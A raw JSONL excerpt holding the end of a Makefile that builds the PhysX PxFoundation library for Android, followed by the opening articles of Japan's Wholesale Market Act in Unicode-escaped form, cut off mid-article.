./../../../../PxShared/lib/android16/libPxFoundationPROFILE.a`\n\t@$(AR) rcs $(PxFoundation_profile_bin) $(PxFoundation_profile_obj)\n\t$(ECHO) building $@ complete!\n\nPxFoundation_profile_DEPDIR = $(dir $(@))/$(*F)\n$(PxFoundation_profile_cpp_o): $(PxFoundation_profile_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling profile $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cppfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_profile_cppflags) -c $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cppfiles)) -o $@\n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cppfiles))))))\n\tcp $(PxFoundation_profile_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_profile_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t rm -f $(PxFoundation_profile_DEPDIR).d\n\n$(PxFoundation_profile_cc_o): $(PxFoundation_profile_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling profile $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_ccfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_profile_cppflags) -c $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_ccfiles)) -o $@\n\tmkdir -p $(dir $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_ccfiles))))))\n\tcp $(PxFoundation_profile_DEPDIR).d $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_ccfiles))))).profile.P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_profile_DEPDIR).d >> $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_ccfiles))))).profile.P; \\\n\t rm -f $(PxFoundation_profile_DEPDIR).d\n\n$(PxFoundation_profile_c_o): $(PxFoundation_profile_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling profile $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CC) $(PxFoundation_profile_cflags) -c $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cfiles)) -o $@ \n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cfiles))))))\n\tcp $(PxFoundation_profile_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_profile_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_profile_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t rm -f $(PxFoundation_profile_DEPDIR).d\n\nclean_PxFoundation: clean_PxFoundation_debug clean_PxFoundation_release clean_PxFoundation_checked clean_PxFoundation_profile\n\trm -rf $(DEPSDIR)\n\nexport VERBOSE\nifndef VERBOSE\n.SILENT:\nendif\n"} -{"text": "\n\n\u5378\u58f2\u5e02\u5834\u6cd5\n\uff08\u662d\u548c\u56db\u5341\u516d\u5e74\u56db\u6708\u4e09\u65e5\u6cd5\u5f8b\u7b2c\u4e09\u5341\u4e94\u53f7\uff09\u6700\u7d42\u6539\u6b63\uff1a\u5e73\u6210\u4e8c\u4e94\u5e74\u516d\u6708\u4e00\u56db\u65e5\u6cd5\u5f8b\u7b2c\u56db\u56db\u53f7\n\n\u3000\u7b2c\u4e00\u7ae0\u3000\u7dcf\u5247\uff08\u7b2c\u4e00\u6761\u2015\u7b2c\u4e09\u6761\uff09\n\n\u3000\u7b2c\u4e8c\u7ae0\u3000\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u7b49\uff08\u7b2c\u56db\u6761\u2015\u7b2c\u516d\u6761\uff09\n\n\u3000\u7b2c\u4e09\u7ae0\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\n\n\u3000\u3000\u7b2c\u4e00\u7bc0\u3000\u958b\u8a2d\uff08\u7b2c\u4e03\u6761\u2015\u7b2c\u5341\u56db\u6761\uff09\n\n\u3000\u3000\u7b2c\u4e8c\u7bc0\u3000\u5378\u58f2\u696d\u8005\u7b49\uff08\u7b2c\u5341\u4e94\u6761\u2015\u7b2c\u4e09\u5341\u4e09\u6761\uff09\n\n\u3000\u3000\u7b2c\u4e09\u7bc0\u3000\u58f2\u8cb7\u53d6\u5f15\uff08\u7b2c\u4e09\u5341\u56db\u6761\u2015\u7b2c\u56db\u5341\u4e03\u6761\uff09\n\n\u3000\u3000\u7b2c\u56db\u7bc0\u3000\u76e3\u7763\uff08\u7b2c\u56db\u5341\u516b\u6761\u2015\u7b2c\u4e94\u5341\u4e00\u6761\uff09\n\n\u3000\u3000\u7b2c\u4e94\u7bc0\u3000\u96d1\u5247\uff08\u7b2c\u4e94\u5341\u4e8c\u6761\u2015\u7b2c\u4e94\u5341\u56db\u6761\uff09\n\n\u3000\u7b2c\u56db\u7ae0\u3000\u5730\u65b9\u5378\u58f2\u5e02\u5834\n\n\u3000\u3000\u7b2c\u4e00\u7bc0\u3000\u958b\u8a2d\u53ca\u3073\u5378\u58f2\u306e\u696d\u52d9\u306b\u3064\u3044\u3066\u306e\u8a31\u53ef\uff08\u7b2c\u4e94\u5341\u4e94\u6761\u2015\u7b2c\u516d\u5341\u6761\uff09\n\n\u3000\u3000\u7b2c\u4e8c\u7bc0\u3000\u696d\u52d9\u306b\u3064\u3044\u3066\u306e\u898f\u5236\u53ca\u3073\u76e3\u7763\uff08\u7b2c\u516d\u5341\u4e00\u6761\u2015\u7b2c\u516d\u5341\u516d\u6761\uff09\n\n\u3000\u3000\u7b2c\u4e09\u7bc0\u3000\u96d1\u5247\uff08\u7b2c\u516d\u5341\u4e03\u6761\u2015\u7b2c\u516d\u5341\u4e5d\u6761\uff09\n\n\u3000\u7b2c\u4e94\u7ae0\u3000\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u5be9\u8b70\u4f1a\uff08\u7b2c\u4e03\u5341\u6761\u30fb\u7b2c\u4e03\u5341\u4e00\u6761\uff09\n\n\u3000\u7b2c\u516d\u7ae0\u3000\u96d1\u5247\uff08\u7b2c\u4e03\u5341\u4e8c\u6761\u2015\u7b2c\u4e03\u5341\u516d\u6761\uff09\n\n\u3000\u7b2c\u4e03\u7ae0\u3000\u7f70\u5247\uff08\u7b2c\u4e03\u5341\u4e03\u6761\u2015\u7b2c\u516b\u5341\u4e09\u6761\uff09\n\n\u3000\u9644\u5247\n\u3000\u3000\u3000\u7b2c\u4e00\u7ae0\u3000\u7dcf\u5247\n\n\n\uff08\u76ee\u7684\uff09\n\u7b2c\u4e00\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u8a08\u753b\u7684\u306b\u4fc3\u9032\u3059\u308b\u305f\u3081\u306e\u63aa\u7f6e\u3001\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u53ca\u3073\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u305d\u306e\u4ed6\u306e\u53d6\u5f15\u306b\u95a2\u3059\u308b\u898f\u5236\u7b49\u306b\u3064\u3044\u3066\u5b9a\u3081\u3066\u3001\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u4fc3\u9032\u3057\u3001\u53ca\u3073\u305d\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u53d6\u5f15\u306e\u9069\u6b63\u5316\u3068\u305d\u306e\u751f\u7523\u53ca\u3073\u6d41\u901a\u306e\u5186\u6ed1\u5316\u3092\u56f3\u308a\u3001\u3082\u3064\u3066\u56fd\u6c11\u751f\u6d3b\u306e\u5b89\u5b9a\u306b\u8cc7\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u5b9a\u7fa9\uff09\n\u7b2c\u4e8c\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u304a\u3044\u3066\u300c\u751f\u9bae\u98df\u6599\u54c1\u7b49\u300d\u3068\u306f\u3001\u91ce\u83dc\u3001\u679c\u5b9f\u3001\u9b5a\u985e\u3001\u8089\u985e\u7b49\u306e\u751f\u9bae\u98df\u6599\u54c1\u305d\u306e\u4ed6\u4e00\u822c\u6d88\u8cbb\u8005\u304c\u65e5\u5e38\u751f\u6d3b\u306e\u7528\u306b\u4f9b\u3059\u308b\u98df\u6599\u54c1\u53ca\u3073\u82b1\u304d\u305d\u306e\u4ed6\u4e00\u822c\u6d88\u8cbb\u8005\u306e\u65e5\u5e38\u751f\u6d3b\u3068\u5bc6\u63a5\u306a\u95a2\u4fc2\u3092\u6709\u3059\u308b\u8fb2\u755c\u6c34\u7523\u7269\u3067\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3082\u306e\u3092\u3044\u3046\u3002\n\n\uff12\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u304a\u3044\u3066\u300c\u5378\u58f2\u5e02\u5834\u300d\u3068\u306f\u3001\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u306e\u305f\u3081\u306b\u958b\u8a2d\u3055\u308c\u308b\u5e02\u5834\u3067\u3042\u3064\u3066\u3001\u5378\u58f2\u5834\u3001\u81ea\u52d5\u8eca\u99d0\u8eca\u5834\u305d\u306e\u4ed6\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u53d6\u5f15\u53ca\u3073\u8377\u3055\u3070\u304d\u306b\u5fc5\u8981\u306a\u65bd\u8a2d\u3092\u8a2d\u3051\u3066\u7d99\u7d9a\u3057\u3066\u958b\u5834\u3055\u308c\u308b\u3082\u306e\u3092\u3044\u3046\u3002\n\n\uff13\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u304a\u3044\u3066\u300c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u300d\u3068\u306f\u3001\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u53ca\u3073\u6d88\u8cbb\u4e0a\u7279\u306b\u91cd\u8981\u306a\u90fd\u5e02\u53ca\u3073\u305d\u306e\u5468\u8fba\u306e\u5730\u57df\u306b\u304a\u3051\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5186\u6ed1\u306a\u6d41\u901a\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u306e\u4e2d\u6838\u7684\u62e0\u70b9\u3068\u306a\u308b\u3068\u3068\u3082\u306b\u3001\u5f53\u8a72\u5730\u57df\u5916\u306e\u5e83\u57df\u306b\u308f\u305f\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u306e\u6539\u5584\u306b\u3082\u8cc7\u3059\u308b\u3082\u306e\u3068\u3057\u3066\u3001\u7b2c\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u958b\u8a2d\u3055\u308c\u308b\u5378\u58f2\u5e02\u5834\u3092\u3044\u3046\u3002\n\n\uff14\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u304a\u3044\u3066\u300c\u5730\u65b9\u5378\u58f2\u5e02\u5834\u300d\u3068\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u4ee5\u5916\u306e\u5378\u58f2\u5e02\u5834\u3067\u3001\u305d\u306e\u65bd\u8a2d\u304c\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u898f\u6a21\u4ee5\u4e0a\u306e\u3082\u306e\u3092\u3044\u3046\u3002 \n\n\n\n\uff08\u540d\u79f0\u306e\u5236\u9650\uff09\n\u7b2c\u4e09\u6761\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u540d\u79f0\u4e2d\u306b\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3068\u3044\u3046\u6587\u5b57\u3092\u7528\u3044\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u5e02\u5834\u3067\u3042\u3064\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3067\u306a\u3044\u3082\u306e\u306e\u540d\u79f0\u4e2d\u306b\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3068\u3044\u3046\u6587\u5b57\u3092\u7528\u3044\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u3000\u3000\u3000\u7b2c\u4e8c\u7ae0\u3000\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u7b49\n\n\n\uff08\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\uff09\n\u7b2c\u56db\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u57fa\u672c\u65b9\u91dd\uff08\u4ee5\u4e0b\u300c\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u306b\u304a\u3044\u3066\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\u4e00\n\n\u3000\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u9700\u8981\u53ca\u3073\u4f9b\u7d66\u306b\u95a2\u3059\u308b\u9577\u671f\u898b\u901a\u3057\u306b\u5373\u3057\u305f\u5378\u58f2\u5e02\u5834\u306e\u9069\u6b63\u306a\u914d\u7f6e\u306e\u76ee\u6a19\n\n\u4e8c\n\n\u3000\u8fd1\u4ee3\u7684\u306a\u5378\u58f2\u5e02\u5834\u306e\u7acb\u5730\u4e26\u3073\u306b\u65bd\u8a2d\u306e\u7a2e\u985e\u3001\u898f\u6a21\u3001\u914d\u7f6e\u53ca\u3073\u69cb\u9020\u306b\u95a2\u3059\u308b\u57fa\u672c\u7684\u6307\u6a19\n\n\u4e09\n\n\u3000\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u53d6\u5f15\u53ca\u3073\u7269\u54c1\u306e\u7a4d\u5378\u3057\u3001\u8377\u3055\u3070\u304d\u3001\u4fdd\u7ba1\u7b49\u306e\u5408\u7406\u5316\u4e26\u3073\u306b\u7269\u54c1\u306e\u54c1\u8cea\u7ba1\u7406\u306e\u9ad8\u5ea6\u5316\u306b\u95a2\u3059\u308b\u57fa\u672c\u7684\u306a\u4e8b\u9805\n\n\u56db\n\n\u3000\u5378\u58f2\u306e\u696d\u52d9\uff08\u5378\u58f2\u5e02\u5834\u306b\u51fa\u8377\u3055\u308c\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u305d\u306e\u51fa\u8377\u8005\u304b\u3089\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u3092\u53d7\u3051\u53c8\u306f\u8cb7\u3044\u53d7\u3051\u3066\u3001\u5f53\u8a72\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u3092\u3059\u308b\u696d\u52d9\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u53c8\u306f\u4ef2\u5378\u3057\u306e\u696d\u52d9\uff08\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u8005\u304c\u5f53\u8a72\u5378\u58f2\u5e02\u5834\u5185\u306b\u8a2d\u7f6e\u3059\u308b\u5e97\u8217\u306b\u304a\u3044\u3066\u5f53\u8a72\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u304b\u3089\u5378\u58f2\u3092\u53d7\u3051\u305f\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3092\u4ed5\u5206\u3051\u3057\u53c8\u306f\u8abf\u88fd\u3057\u3066\u8ca9\u58f2\u3059\u308b\u696d\u52d9\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u3092\u884c\u3046\u8005\u306e\u7d4c\u55b6\u898f\u6a21\u306e\u62e1\u5927\u3001\u7d4c\u55b6\u7ba1\u7406\u306e\u5408\u7406\u5316\u7b49\u7d4c\u55b6\u306e\u8fd1\u4ee3\u5316\u306e\u76ee\u6a19\n\n\u4e94\n\n\u3000\u305d\u306e\u4ed6\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u306b\u95a2\u3059\u308b\u91cd\u8981\u4e8b\u9805\n\n\n\uff13\n\n\u3000\u524d\u9805\u7b2c\u4e00\u53f7\u306e\u76ee\u6a19\u3092\u5b9a\u3081\u308b\u306b\u5f53\u305f\u3064\u3066\u306f\u3001\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u306e\u5e83\u57df\u5316\u53ca\u3073\u60c5\u5831\u5316\u306e\u9032\u5c55\u72b6\u6cc1\u3092\u8003\u616e\u3057\u305f\u5378\u58f2\u5e02\u5834\u306e\u518d\u7de8\u306b\u3064\u3044\u3066\u914d\u616e\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u3092\u5b9a\u3081\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u98df\u6599\u30fb\u8fb2\u696d\u30fb\u8fb2\u6751\u653f\u7b56\u5be9\u8b70\u4f1a\u306e\u610f\u898b\u3092\u8074\u304b\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u3092\u5b9a\u3081\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u3053\u308c\u3092\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff16\n\n\u3000\u524d\u4e8c\u9805\u306e\u898f\u5b9a\u306f\u3001\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u306e\u5909\u66f4\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\uff09\n\u7b2c\u4e94\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\uff08\u4ee5\u4e0b\u300c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u308b\u3082\u306e\u3068\u3057\u3001\u305d\u306e\u5185\u5bb9\u306f\u3001\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u306b\u5373\u3059\u308b\u3082\u306e\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u53ca\u3073\u6d88\u8cbb\u4e0a\u7279\u306b\u91cd\u8981\u306a\u90fd\u5e02\u3067\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u3082\u306e\u306e\u540d\u79f0\n\n\u4e8c\n\n\u3000\u305d\u306e\u53d6\u6271\u54c1\u76ee\u306e\u9069\u6b63\u5316\u82e5\u3057\u304f\u306f\u305d\u306e\u65bd\u8a2d\u306e\u6539\u5584\u3092\u56f3\u308b\u3053\u3068\u53c8\u306f\u305d\u306e\u904b\u55b6\u306e\u5e83\u57df\u5316\u82e5\u3057\u304f\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3078\u306e\u8ee2\u63db\u3092\u63a8\u9032\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u540d\u79f0\n\n\u4e09\n\n\u3000\u53d6\u6271\u54c1\u76ee\u306e\u8a2d\u5b9a\u53c8\u306f\u5909\u66f4\u306b\u95a2\u3059\u308b\u4e8b\u9805\n\n\u56db\n\n\u3000\u65bd\u8a2d\u306e\u6539\u826f\u3001\u9020\u6210\u3001\u53d6\u5f97\u53c8\u306f\u7ba1\u7406\u306b\u95a2\u3059\u308b\u4e8b\u9805\n\n\u4e94\n\n\u3000\u305d\u306e\u4ed6\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u4e8b\u9805\n\n\n\uff13\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3092\u5b9a\u3081\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u98df\u6599\u30fb\u8fb2\u696d\u30fb\u8fb2\u6751\u653f\u7b56\u5be9\u8b70\u4f1a\u306e\u610f\u898b\u3092\u8074\u304f\u3068\u3068\u3082\u306b\u3001\u95a2\u4fc2\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5354\u8b70\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3092\u5b9a\u3081\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u5185\u5bb9\u3092\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u524d\u4e09\u9805\u306e\u898f\u5b9a\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306e\u5909\u66f4\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\uff09\n\u7b2c\u516d\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5f53\u8a72\u90fd\u9053\u5e9c\u770c\u306b\u304a\u3051\u308b\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\uff08\u4ee5\u4e0b\u300c\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u5b9a\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u308b\u3082\u306e\u3068\u3057\u3001\u305d\u306e\u5185\u5bb9\u306f\u3001\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u53ca\u3073\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u5373\u3059\u308b\u3082\u306e\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u305d\u306e\u533a\u57df\u53c8\u306f\u305d\u306e\u533a\u57df\u3092\u5206\u3051\u3066\u5b9a\u3081\u308b\u533a\u57df\u3054\u3068\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u4e8b\u60c5\u306b\u5fdc\u305a\u308b\u5378\u58f2\u5e02\u5834\u306e\u9069\u6b63\u306a\u914d\u7f6e\u306e\u65b9\u91dd\n\n\u4e8c\n\n\u3000\u305d\u306e\u533a\u57df\u306b\u304a\u3051\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u4e8b\u60c5\u306b\u5fdc\u305a\u308b\u8fd1\u4ee3\u7684\u306a\u5378\u58f2\u5e02\u5834\u306e\u7acb\u5730\u4e26\u3073\u306b\u65bd\u8a2d\u306e\u7a2e\u985e\u3001\u898f\u6a21\u3001\u914d\u7f6e\u53ca\u3073\u69cb\u9020\u306b\u95a2\u3059\u308b\u6307\u6a19\n\n\u4e09\n\n\u3000\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u53d6\u5f15\u53ca\u3073\u7269\u54c1\u306e\u7a4d\u5378\u3057\u3001\u8377\u3055\u3070\u304d\u3001\u4fdd\u7ba1\u7b49\u306e\u5408\u7406\u5316\u4e26\u3073\u306b\u7269\u54c1\u306e\u54c1\u8cea\u7ba1\u7406\u306e\u9ad8\u5ea6\u5316\u306b\u95a2\u3059\u308b\u4e8b\u9805\n\n\u56db\n\n\u3000\u305d\u306e\u4ed6\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u4e8b\u9805\n\n\n\uff13\n\n\u3000\u90fd\u9053\u5e9c\u770c\u306f\u3001\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3092\u5b9a\u3081\u3088\u3046\u3068\u3059\u308b\u3068